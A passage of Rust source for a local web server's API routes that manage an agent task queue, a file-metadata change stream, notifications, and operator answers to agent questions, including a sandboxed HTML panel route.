5303    let reason = body.reason.filter(|r| !r.trim().is_empty());
5304    mutate(ui, id, move |t| {
5305        t.hold_manual(reason.clone());
5306        Ok(())
5307    })
5308    .await
5309}
5310
5311async fn queue_release(
5312    State(ui): State<Arc<Ui>>,
5313    Path(id): Path<String>,
5314) -> ApiResult<Json<TaskView>> {
5315    mutate(ui, id, |t| {
5316        t.release();
5317        Ok(())
5318    })
5319    .await
5320}
5321
5322/// The body of `POST /api/queue/{id}/priority`.
5323#[derive(Debug, Deserialize)]
5324#[serde(deny_unknown_fields)]
5325struct PriorityBody {
5326    priority: i32,
5327}
5328
5329/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
5330///
5331/// [`Task::set_priority`] is the one place the "not while running" rule is
5332/// stated; this route only carries the body to it and lets its `Err` become
5333/// the 4xx the card shows.
5334async fn queue_priority(
5335    State(ui): State<Arc<Ui>>,
5336    Path(id): Path<String>,
5337    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5338) -> ApiResult<Json<TaskView>> {
5339    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5340    mutate(ui, id, move |t| t.set_priority(body.priority)).await
5341}
5342
5343/// The body of `POST /api/queue/{id}/edit`.
5344#[derive(Debug, Deserialize)]
5345#[serde(deny_unknown_fields)]
5346struct EditBody {
5347    title: String,
5348    instruction: String,
5349    /// Save even though the new text names a branch, commit or pull request
5350    /// that unfinished work already owns.
5351    #[serde(default)]
5352    force: bool,
5353}
5354
5355/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
5356/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
5357/// that refusal's message is what the sheet shows back.
5358async fn queue_edit(
5359    State(ui): State<Arc<Ui>>,
5360    Path(id): Path<String>,
5361    body: std::result::Result<Json<EditBody>, JsonRejection>,
5362) -> ApiResult<Json<TaskView>> {
5363    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5364    // The judge is an agent call, so it is awaited here, outside the claim
5365    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
5366    // remembered, and the save refuses if the task moved underneath it.
5367    let mut judged: Option<(String, PathBuf)> = None;
5368    if !body.force {
5369        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5370        let (id, text) = (id.clone(), body.instruction.clone());
5371        let (seen, hits) = blocking(move || {
5372            let id = resolve_task(&queue, &id)?;
5373            let t = queue.get(&id)?;
5374            if text == t.instruction {
5375                return Ok((None, Vec::new()));
5376            }
5377            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5378            Ok((Some((t.instruction, t.repo)), hits))
5379        })
5380        .await?;
5381        if let Some((_, repo)) = &seen {
5382            let cfg = crate::config::Config::discover(repo, None)
5383                .ok()
5384                .map(|(c, _)| c);
5385            let screened =
5386                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5387                    .await
5388                    .map_err(|dup| {
5389                        ApiError::conflict(dup.render(
5390                            "Nothing was saved. If it is not a duplicate, repeat the request \
5391                             with \"force\": true.",
5392                        ))
5393                    })?;
5394            if let crate::dupes::Screened::Unjudged(why) = screened {
5395                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5396            }
5397        }
5398        judged = seen;
5399    }
5400    let force = body.force;
5401    mutate(ui, id, move |t| {
5402        if !force && body.instruction != t.instruction {
5403            match &judged {
5404                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5405                _ => {
5406                    anyhow::bail!("the task changed while it was being checked; repeat the request")
5407                }
5408            }
5409        }
5410        t.edit(body.title.clone(), body.instruction.clone())
5411    })
5412    .await
5413}
5414
5415/// `POST /api/queue/{id}/done` - close a task as finished without deleting
5416/// it, so the phone's other way to clear a task from the backlog does not
5417/// have to cost the run history, the attribution, and `created_at` the way
5418/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
5419/// can be marked done by hand, because this is for the run the loop never
5420/// saw land - a merge done by hand, or a gate that misreported - and that can
5421/// happen from any status the task was left in.
5422async fn queue_done(
5423    State(ui): State<Arc<Ui>>,
5424    Path(id): Path<String>,
5425) -> ApiResult<Json<TaskView>> {
5426    let home = ui.home.clone();
5427    mutate(ui, id, move |t| {
5428        t.succeed();
5429        // Same as the loop's own settle path: closing a task by hand is just
5430        // as much "this task's story is over" as a daemon-driven `Merged`/
5431        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
5432        // behind must stop looking like it still needs a human. `ui.home`,
5433        // not the process-global `run::home()`: they agree in a real
5434        // process, but only `ui.home` also agrees with a test fixture's own
5435        // directory.
5436        crate::daemon::supersede_prior_runs(t, &home);
5437        Ok(())
5438    })
5439    .await
5440}
5441
5442/// `DELETE /api/queue/{id}`.
5443///
5444/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
5445/// names this task: a `running` status or an orphaned `.lock` left behind by a
5446/// killed daemon is a leftover, and treating either as authority made the
5447/// task undeletable from the phone for good. The associated runs, if any, are
5448/// kept: a run is self-contained history and not an appendage of the task.
5449async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5450    blocking(move || {
5451        let id = resolve_task(&ui.queue, &id)?;
5452        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5453        ui.queue
5454            .remove(&id, in_flight, &ui.questions)
5455            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5456        Ok(StatusCode::NO_CONTENT)
5457    })
5458    .await
5459}
5460
5461/// Read a task, change it, write it back, under the queue's own lock.
5462///
5463/// Taking the same claim a daemon takes is what makes hold, release,
5464/// priority, edit, and done safe to press while magi is running: without it
5465/// the daemon's next save would land on top of the operator's change and
5466/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
5467/// both do, for a running task - and that refusal becomes the 4xx the card
5468/// shows, same as any other domain rule.
5469async fn mutate(
5470    ui: Arc<Ui>,
5471    id: String,
5472    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5473) -> ApiResult<Json<TaskView>> {
5474    blocking(move || {
5475        let id = resolve_task(&ui.queue, &id)?;
5476        // `claim` fails when the lock file already exists, which is the
5477        // conflict the UI must report: the daemon owns that task's file for
5478        // as long as it is running it, and our write would be lost under its
5479        // next save. The message names the lock either way.
5480        let _claim = ui.queue.claim(&id).map_err(|e| {
5481            ApiError::conflict(format!(
5482                "{e:#} - a daemon is running this task, so it cannot be \
5483                 changed from here yet"
5484            ))
5485        })?;
5486        let mut task = ui.queue.get(&id)?;
5487        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5488            Ok(dup) => ApiError::conflict(dup.render(
5489                "Nothing was saved. If it is not a duplicate, repeat the request with \
5490                 \"force\": true.",
5491            )),
5492            Err(e) => ApiError::bad_request_from(e),
5493        })?;
5494        ui.queue.put(&mut task)?;
5495        Ok(Json(TaskView::from(task)))
5496    })
5497    .await
5498}
5499
5500/// The change stream: one revision number per store, on connect and whenever
5501/// any of them moves.
5502///
5503/// The poll runs in one spawned task per client, which is affordable because
5504/// the work is a directory scan and a `stat` per file. It stops as soon as the
5505/// receiver is gone, so a phone that walks out of range costs nothing after
5506/// its next tick - there is no session and no cleanup to forget.
5507async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5508    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5509    tokio::spawn(async move {
5510        let mut ticker = tokio::time::interval(POLL);
5511        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5512        let mut stamps: Option<[Stamps; 3]> = None;
5513        loop {
5514            // The first tick completes immediately, which is what makes the
5515            // stream announce the current revisions on connect.
5516            ticker.tick().await;
5517            let state = Arc::clone(&ui);
5518            let revisions = tokio::task::spawn_blocking(move || {
5519                let stamps = [
5520                    store_stamps(state.queue.root(), false),
5521                    store_stamps(&state.runs, true),
5522                    store_stamps(state.talks.root(), false),
5523                ];
5524                let revisions = (
5525                    stamps_revision(&stamps[0]),
5526                    stamps_revision(&stamps[1]),
5527                    state.questions.revision(),
5528                    stamps_revision(&stamps[2]),
5529                    state.notices.revision(),
5530                    // The loop's counter is in-process state rather than a
5531                    // file, so nothing the three stats above look at would
5532                    // tell this phone that another one started the loop.
5533                    state.lock_loop().rev,
5534                );
5535                (revisions, stamps)
5536            })
5537            .await;
5538            let Ok((revisions, next_stamps)) = revisions else {
5539                break;
5540            };
5541            if last == Some(revisions) {
5542                continue;
5543            }
5544            let mut payload = serde_json::json!({
5545                "queue_rev": revisions.0,
5546                "runs_rev": revisions.1,
5547                "questions_rev": revisions.2,
5548                "talks_rev": revisions.3,
5549                "notifications_rev": revisions.4,
5550                "loop_rev": revisions.5,
5551            });
5552            if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5553                for (index, (key, rev)) in [
5554                    ("queue_delta", base.0),
5555                    ("runs_delta", base.1),
5556                    ("talks_delta", base.3),
5557                ]
5558                .into_iter()
5559                .enumerate()
5560                {
5561                    let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5562                    // Empty diffs may mean a non-file dependency moved. Read whole.
5563                    if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5564                        payload[key] = serde_json::to_value(delta).expect("serializable delta");
5565                    }
5566                }
5567            }
5568            last = Some(revisions);
5569            stamps = Some(next_stamps);
5570            // Giving up beats looping if the receiver is gone.
5571            let Ok(event) = Event::default().event("change").json_data(payload) else {
5572                break;
5573            };
5574            if tx.send(event).await.is_err() {
5575                break;
5576            }
5577        }
5578    });
5579    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5580        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5581}
5582
5583type Stamps = HashMap<String, (u128, u64)>;
5584
5585/// Metadata only: no task instructions or conversation bodies are read here.
5586fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5587    std::fs::read_dir(root)
5588        .into_iter()
5589        .flatten()
5590        .flatten()
5591        .filter_map(|entry| {
5592            let path = if runs {
5593                entry.path().join("run.json")
5594            } else {
5595                entry.path()
5596            };
5597            if !runs && path.extension().is_none_or(|ext| ext != "json") {
5598                return None;
5599            }
5600            let metadata = path.metadata().ok()?;
5601            let modified = metadata
5602                .modified()
5603                .ok()?
5604                .duration_since(std::time::UNIX_EPOCH)
5605                .ok()?;
5606            let id = if runs {
5607                entry.file_name().to_string_lossy().into_owned()
5608            } else {
5609                path.file_stem()?.to_string_lossy().into_owned()
5610            };
5611            Some((id, (modified.as_nanos(), metadata.len())))
5612        })
5613        .collect()
5614}
5615
5616#[derive(Debug, Serialize)]
5617struct Delta {
5618    base: u64,
5619    changed: Vec<String>,
5620    removed: Vec<String>,
5621}
5622
5623fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5624    let mut changed: Vec<_> = next
5625        .iter()
5626        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5627        .map(|(id, _)| id.clone())
5628        .collect();
5629    let mut removed: Vec<_> = previous
5630        .keys()
5631        .filter(|id| !next.contains_key(*id))
5632        .cloned()
5633        .collect();
5634    changed.sort_unstable();
5635    removed.sort_unstable();
5636    Delta {
5637        base,
5638        changed,
5639        removed,
5640    }
5641}
5642
5643/// Change detection token for recorded runs under `runs`.
5644///
5645/// Combines the id and `run.json` modification time of each run, so adding,
5646/// updating, or deleting any run — even an older one — moves the revision and
5647/// notifies connected clients via the change stream. Returns 0 when no runs
5648/// exist.
5649fn runs_revision(runs: &FsPath) -> u64 {
5650    stamps_revision(&store_stamps(runs, true))
5651}
5652
5653/// Opaque tokens use the exact metadata snapshot behind the delta, in both
5654/// health and SSE. Nanoseconds and length also detect same-millisecond writes
5655/// and deleting an older conversation (a newest-mtime token cannot do that).
5656fn stamps_revision(stamps: &Stamps) -> u64 {
5657    use std::hash::{Hash as _, Hasher as _};
5658    if stamps.is_empty() {
5659        return 0;
5660    }
5661    let mut entries: Vec<_> = stamps.iter().collect();
5662    entries.sort_unstable();
5663    let mut hasher = std::hash::DefaultHasher::new();
5664    entries.hash(&mut hasher);
5665    hasher.finish().max(1)
5666}
5667
5668/// Run ids under `runs`, newest first.
5669///
5670/// Rooted at an explicit directory rather than calling [`run::list_ids`],
5671/// which reads the process-global home: the server has to be drivable against
5672/// a temp directory for any of this to be testable.
5673fn run_ids(runs: &FsPath) -> Vec<String> {
5674    let mut ids: Vec<String> = std::fs::read_dir(runs)
5675        .into_iter()
5676        .flatten()
5677        .flatten()
5678        .filter(|e| e.path().join("run.json").is_file())
5679        .map(|e| e.file_name().to_string_lossy().into_owned())
5680        .collect();
5681    // Ids start with a sortable timestamp.
5682    ids.sort_unstable_by(|a, b| b.cmp(a));
5683    ids
5684}
5685
5686/// Read one run's state from an explicit runs root.
5687fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5688    let path = runs.join(id).join("run.json");
5689    let body =
5690        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5691    let state: RunState =
5692        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5693    // The same migration `RunState::load` applies, so a record from the
5694    // previous schema reads here as it does everywhere else (an origin-less
5695    // run shows as "origin unknown") instead of vanishing from the phone the
5696    // moment the schema is bumped.
5697    run::migrate_schema(state)
5698}
5699
5700/// Runs on disk under `runs` whose state this build cannot parse - almost
5701/// always a schema bump, occasionally a run killed mid-write.
5702///
5703/// Exposed so every surface that reports on runs shares one count instead of
5704/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
5705/// `magi doctor` calls this directly rather than guessing at the same number
5706/// a second way.
5707#[must_use]
5708pub fn runs_unreadable(runs: &FsPath) -> usize {
5709    run_ids(runs)
5710        .into_iter()
5711        .filter(|id| read_run(runs, id).is_err())
5712        .count()
5713}
5714
5715/// Expand an id or short id to exactly one run id.
5716fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5717    if runs.join(id).join("run.json").is_file() {
5718        return Ok(id.to_owned());
5719    }
5720    pick(run_ids(runs), id, "run")
5721}
5722
5723/// Expand an id or short id to exactly one task id.
5724fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5725    if queue.path_of(id).is_file() {
5726        return Ok(id.to_owned());
5727    }
5728    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5729}
5730
5731/// A question as the phone reads it.
5732///
5733/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
5734/// text already parsed into a node tree so the client never runs its own
5735/// markdown reader over agent-authored prose. A relative image path in it
5736/// resolves against this question's own panel asset route, which is the one
5737/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
5738/// separate, sandboxed document, but `detail` is rendered inline in the
5739/// operator's own page, so an image reference in it may only ever point at
5740/// files magi itself already serves for this question.
5741#[derive(Debug, Serialize)]
5742struct QuestionView {
5743    #[serde(flatten)]
5744    question: Question,
5745    detail_md: Vec<md::Node>,
5746    /// Each thread turn's body, parsed; same order as `question.thread`.
5747    thread_bodies_md: Vec<Vec<md::Node>>,
5748    /// Each thread turn's deputy note, parsed (`None` for a turn without
5749    /// one); same order as `question.thread`.
5750    thread_notes_md: Vec<Option<Vec<md::Node>>>,
5751    /// Is the ball in the agent's court right now?
5752    ///
5753    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
5754    /// [`Question::say`] - so this is the one field that tells the phone to
5755    /// disable the answer controls and show "waiting for the agent" instead of
5756    /// a card the owner can act on. Computed rather than stored on
5757    /// [`Question`] itself, on the same reasoning as `waiting` on
5758    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
5759    /// it here means the client never has to re-derive that rule.
5760    waiting_on_agent: bool,
5761    /// Who is waiting on this open question - see [`holder_of`]. Separate
5762    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
5763    /// anyone is there to take it.
5764    holder: Option<&'static str>,
5765    /// Whether `magi serve` can start a follow-up agent for a conductor
5766    /// question at all: false when `daemon.max_deputies = 0` or the config is
5767    /// unreadable. Separate from `holder`, which says who is listening now.
5768    deputies_enabled: bool,
5769    /// `question.run` is a task id (conductor / triage questions), not a run
5770    /// id, so the UI links it to the task page.
5771    run_is_task: bool,
5772    /// The chat conversation this question's task came from, when the owner
5773    /// may hand the question to it - see [`crate::consult::origin_talk`]. The
5774    /// UI offers "Ask the chat agent" only when this is set; it is never one
5775    /// of `question.choices`.
5776    origin_chat: Option<String>,
5777    /// `origin_chat` is closed; consulting reopens it first.
5778    origin_chat_closed: bool,
5779}
5780
5781impl QuestionView {
5782    /// The view of `question`, reading who is waiting on it from `store`.
5783    ///
5784    /// `holder` needs the lease sidecar, which is why this is not a `From`.
5785    fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5786        let base = md::ImageBase::QuestionPanel {
5787            id: question.id.clone(),
5788        };
5789        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5790        Self {
5791            detail_md: md::to_nodes(&question.detail, &base),
5792            thread_bodies_md: question
5793                .thread
5794                .iter()
5795                .map(|t| md::to_nodes(&t.body, &base))
5796                .collect(),
5797            thread_notes_md: question
5798                .thread
5799                .iter()
5800                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5801                .collect(),
5802            waiting_on_agent: question.waiting_on_agent(),
5803            holder,
5804            deputies_enabled,
5805            run_is_task: question.run_names_task(),
5806            origin_chat: None,
5807            origin_chat_closed: false,
5808            question,
5809        }
5810    }
5811
5812    /// Fill `origin_chat` from the queue and the talks.
5813    fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5814        let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5815        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
5816        self.origin_chat = talk.map(|t| t.id);
5817        self
5818    }
5819}
5820
5821/// The config this repository resolves, or `None` when it cannot be read.
5822/// Discovering is git processes plus a config render, so a request that needs
5823/// it for many items takes it once and passes it down.
5824fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5825    Config::discover(repo, None).ok().map(|(c, _)| c)
5826}
5827
5828/// Can `magi serve` start a deputy for this question under `cfg`?
5829fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5830    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5831}
5832
5833/// The views `GET /api/questions` answers. `load` runs at most once, however
5834/// many questions there are, and not at all when there are none.
5835fn question_views(
5836    qs: Vec<Question>,
5837    store: &ask::Questions,
5838    load: impl FnOnce() -> Option<Config>,
5839) -> Vec<QuestionView> {
5840    if qs.is_empty() {
5841        return Vec::new();
5842    }
5843    let cfg = load();
5844    qs.into_iter()
5845        .map(|q| {
5846            let on = deputies_enabled(cfg.as_ref(), &q);
5847            QuestionView::of(q, store, on)
5848        })
5849        .collect()
5850}
5851
5852/// Who is honestly waiting on an open question right now: `"asker"` (the
5853/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
5854/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
5855/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
5856/// up, or the question never had anyone listening (a conductor question or a
5857/// merge approval from before deputies, or not yet given one).
5858///
5859/// `None` for a question that is settled, and for one that is not an agent's
5860/// to wait on at all (a release notice).
5861fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5862    if !q.status.open() {
5863        return None;
5864    }
5865    if q.cwd.is_none() && q.deputy.is_none() {
5866        return crate::deputy::kind_of(q).map(|_| "nobody");
5867    }
5868    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5869        Some(_) if q.deputy.is_some() => "deputy",
5870        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5871        Some(_) => "asker",
5872        None => "nobody",
5873    })
5874}
5875
5876/// `GET /api/questions`.
5877///
5878/// Everything, not just the open ones: an answered question is the record of a
5879/// decision, and the phone is where the operator goes back to check what they
5880/// told an agent at 3am. `ask::Questions::list` already ranks open first.
5881async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5882    blocking(move || {
5883        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5884        Ok(Json(
5885            question_views(ui.questions.list(), &ui.questions, || {
5886                deputy_config(&ui.repo)
5887            })
5888            .into_iter()
5889            .map(|v| v.with_origin(&tasks, &talks))
5890            .collect(),
5891        ))
5892    })
5893    .await
5894}
5895
5896/// `GET /api/notifications`: not dismissed, newest first, with the unread
5897/// count so the badge and the list cannot disagree.
5898async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5899    blocking(move || {
5900        let items = ui.notices.list();
5901        let unread = items.iter().filter(|n| n.unread()).count();
5902        Ok(Json(
5903            serde_json::json!({ "unread": unread, "items": items }),
5904        ))
5905    })
5906    .await
5907}
5908
5909fn notice_error(e: anyhow::Error) -> ApiError {
5910    // An unknown or malformed id and a vanished file are the same answer to
5911    // the phone: that notification is gone.
5912    ApiError::not_found(format!("{e:#}"))
5913}
5914
5915/// `POST /api/notifications/{id}/read`.
5916async fn notification_read(
5917    State(ui): State<Arc<Ui>>,
5918    Path(id): Path<String>,
5919) -> ApiResult<Json<Notice>> {
5920    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5921}
5922
5923/// `POST /api/notifications/{id}/dismiss`.
5924async fn notification_dismiss(
5925    State(ui): State<Arc<Ui>>,
5926    Path(id): Path<String>,
5927) -> ApiResult<Json<Notice>> {
5928    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5929}
5930
5931/// `POST /api/notifications/read-all`.
5932async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5933    blocking(move || {
5934        let changed = ui.notices.mark_all_read()?;
5935        Ok(Json(serde_json::json!({ "marked": changed })))
5936    })
5937    .await
5938}
5939
5940/// The body of `POST /api/questions/{id}/answer`.
5941///
5942/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
5943/// a bad request rather than a guess: an answer magi invented is worse than a
5944/// question left open.
5945#[derive(Debug, Default, Deserialize)]
5946#[serde(default, deny_unknown_fields)]
5947struct NewAnswer {
5948    choice: Option<String>,
5949    text: Option<String>,
5950}
5951
5952async fn question_answer(
5953    State(ui): State<Arc<Ui>>,
5954    Path(id): Path<String>,
5955    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5956) -> ApiResult<Json<QuestionView>> {
5957    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5958    let answer = match (body.choice, body.text) {
5959        (Some(c), None) => Answer::Choice(c),
5960        (None, Some(t)) => Answer::Text(t),
5961        (Some(_), Some(_)) => {
5962            return Err(ApiError::bad_request(
5963                "send either `choice` or `text`, not both",
5964            ));
5965        }
5966        (None, None) => {
5967            return Err(ApiError::bad_request("send a `choice` or a `text`"));
5968        }
5969    };
5970
5971    blocking(move || {
5972        let id = resolve_question(&ui.questions, &id)?;
5973        let q = ui
5974            .questions
5975            .get(&id)
5976            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5977        if !q.status.open() {
5978            // Answered from the terminal, or by another phone, in between the
5979            // list and the tap. The UI shows the recorded answer rather than an
5980            // error, so it needs the record, not just the status.
5981            return Err(ApiError::conflict(format!(
5982                "question {} is already {}",
5983                q.short(),
5984                q.status.as_str()
5985            )));
5986        }
5987        // `Question::answer` owns the rules - an unoffered choice, free text on
5988        // a multiple-choice question, an empty reply - so the route does not
5989        // restate them and cannot drift from the CLI's behaviour.
5990        let (q, ()) = ui
5991            .questions
5992            .update(&q.id, |r| r.answer(answer))
5993            .map_err(ApiError::bad_request_from)?;
5994        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5995        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5996        Ok(Json(
5997            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5998        ))
5999    })
6000    .await
6001}
6002
6003/// The body of `POST /api/questions/{id}/say`.
6004#[derive(Debug, Deserialize)]
6005#[serde(deny_unknown_fields)]
6006struct NewSay {
6007    body: String,
6008}
6009
6010/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
6011///
6012/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
6013/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
6014/// file, so there is no turn to serialize against and no
6015/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
6016/// is a *different* process - the run parked behind `magi ask` - and picks
6017/// the reply up on its own poll of the very same file, same as an answer
6018/// does.
6019async fn question_say(
6020    State(ui): State<Arc<Ui>>,
6021    Path(id): Path<String>,
6022    body: std::result::Result<Json<NewSay>, JsonRejection>,
6023) -> ApiResult<Json<QuestionView>> {
6024    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6025    blocking(move || {
6026        let id = resolve_question(&ui.questions, &id)?;
6027        let q = ui
6028            .questions
6029            .get(&id)
6030            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6031        if !q.status.open() {
6032            // Same granularity as `question_answer`: answered or abandoned in
6033            // between the list and the tap is not this route's error to
6034            // explain any differently.
6035            return Err(ApiError::conflict(format!(
6036                "question {} is already {}",
6037                q.short(),
6038                q.status.as_str()
6039            )));
6040        }
6041        // `Question::say` owns the one rule that matters here - an empty
6042        // message tells the agent nothing - so the route does not restate it.
6043        let (q, ()) = ui
6044            .questions
6045            .update(&q.id, |r| r.say(body.body))
6046            .map_err(ApiError::bad_request_from)?;
6047        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6048        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6049        Ok(Json(
6050            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6051        ))
6052    })
6053    .await
6054}
6055
6056/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
6057/// came from. The question stays open: the chat agent answers it with `magi
6058/// answer`, or puts the decision to the owner in the conversation.
6059///
6060/// Answers 202 and runs the turn in the background, like every route that
6061/// spends agent calls. The text is queued as a draft of the existing talk, and
6062/// the turn goes through the talk's own gate and session; no seat or waiter is
6063/// started here.
6064async fn question_consult(
6065    State(ui): State<Arc<Ui>>,
6066    Path(id): Path<String>,
6067) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6068    let (view, reclaimed) = blocking({
6069        let ui = Arc::clone(&ui);
6070        move || {
6071            let id = resolve_question(&ui.questions, &id)?;
6072            let q = ui
6073                .questions
6074                .get(&id)
6075                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6076            if !q.status.open() {
6077                return Err(ApiError::conflict(format!(
6078                    "question {} is already {}",
6079                    q.short(),
6080                    q.status.as_str()
6081                )));
6082            }
6083            let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6084            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6085                return Err(ApiError::conflict(format!(
6086                    "question {} has no chat to ask",
6087                    q.short()
6088                )));
6089            };
6090            // Read the config before `begin` saves anything: a failure here
6091            // must leave no consult record or draft behind, or a retry would
6092            // see `fresh == false` and never start the turn.
6093            let cfg = if q.consult.is_none() {
6094                Some(Config::discover(&talk.repo, None)?.0)
6095            } else {
6096                None
6097            };
6098            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6099            let claim = if fresh {
6100                match ui.begin_queued_talk_turn(&talk.id)? {
6101                    Some(turn_guard) => {
6102                        let talk = ui.talks.get(&talk.id)?;
6103                        let cfg = match cfg {
6104                            Some(cfg) => cfg,
6105                            None => Config::discover(&talk.repo, None)?.0,
6106                        };
6107                        Some((talk, cfg, turn_guard))
6108                    }
6109                    None => None,
6110                }
6111            } else {
6112                None
6113            };
6114            let q = ui.questions.get(&q.id)?;
6115            let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6116            let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6117            Ok((view, claim))
6118        }
6119    })
6120    .await?;
6121    if let Some((talk, cfg, turn_guard)) = reclaimed {
6122        let talks = ui.talks.clone();
6123        let id = talk.id.clone();
6124        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6125    }
6126    Ok((StatusCode::ACCEPTED, Json(view)))
6127}
6128
6129/// Expand an id or short id to exactly one question id.
6130fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6131    if store.path_of(id).is_file() {
6132        return Ok(id.to_owned());
6133    }
6134    pick(
6135        store.list().into_iter().map(|q| q.id).collect(),
6136        id,
6137        "question",
6138    )
6139}
6140
6141/// `GET /api/questions/{id}/panel`.
6142///
6143/// The panel an agent wrote for this question, as `text/html` under
6144/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
6145/// A question without one is a 404 rather than an empty page: the client
6146/// preflights this route with `HEAD` and must be able to tell "no panel" from
6147/// "a panel that rendered blank", and a sandboxed frame is opaque to the
6148/// parent document so it cannot tell the difference by looking.
6149///
6150/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
6151/// sanitises or minifies it - a sanitiser is a list of things someone thought
6152/// of, and the sandbox plus the CSP is a list of things that are allowed, which
6153/// is the direction that stays safe when an agent writes markup nobody
6154/// predicted.
6155async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6156    blocking(move || {
6157        let id = resolve_question(&ui.questions, &id)?;
6158        let Some(html) = ui.questions.panel_html(&id) else {
6159            return Err(ApiError::not_found(format!("question {id} has no panel")));
6160        };
6161        Ok(panel_response(
6162            "text/html; charset=utf-8",
6163            false,
6164            html.into_bytes(),
6165        ))
6166    })
6167    .await
6168}
6169
